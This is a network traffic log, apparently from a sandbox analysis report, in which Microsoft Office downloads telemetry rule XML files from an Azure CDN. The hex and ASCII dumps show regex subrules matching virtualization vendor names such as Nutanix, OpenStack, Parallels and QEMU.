2024-10-30 05:17:07 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 12c3b8a8-601e-0084-2933-2a6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051707Z-r197bdfb6b4grkz4xgvkar0zcs000000075000000000et3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:07 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051707Z-16849878b78bjkl8dpep89pbgg00000006bg000000002duw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:07 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:07 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051707Z-16849878b78wc6ln1zsrz6q9w8000000074000000000r2wc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:07 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:08 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:08 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 24f7a248-a01e-0053-7a83-298603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051708Z-17c5cb586f69w69mgazyf263an00000006q000000000ee7a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:08 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:08 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:08 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 34f29d6e-001e-0079-21a9-2912e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051708Z-r197bdfb6b48pl4k4a912hk2g400000006tg00000000art0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:08 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:08 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:08 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 682e05b2-601e-005c-042b-2af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051708Z-r197bdfb6b4xfp4mncra29rqkc00000000wg00000000fcwt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:08 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:08 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:08 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: c1ca1df0-401e-0029-1e3a-269b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051708Z-17c5cb586f672xmrz843mf85fn00000006f00000000044k3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:08 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:08 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:08 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051708Z-15b8d89586ffsjj9qb0gmb1stn0000000bsg00000000702k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:08 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:09 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:09 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: bde7aa86-f01e-0052-08e5-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051709Z-17c5cb586f6sqz6f73fsew1zd8000000017000000000ch84 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:09 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:09 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:09 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 055e5760-501e-00a0-45eb-289d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051709Z-r197bdfb6b48pcqqxhenwd2uz800000008e0000000008gqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:09 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:09 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:09 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:09 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 16c434fb-a01e-0032-1c41-281949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051709Z-17c5cb586f6vcw6vtg5eymp4u800000005tg000000000xsc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:09 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:09 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:09 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:09 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051709Z-16849878b78fssff8btnns3b1400000007tg00000000ffy0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:09 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R 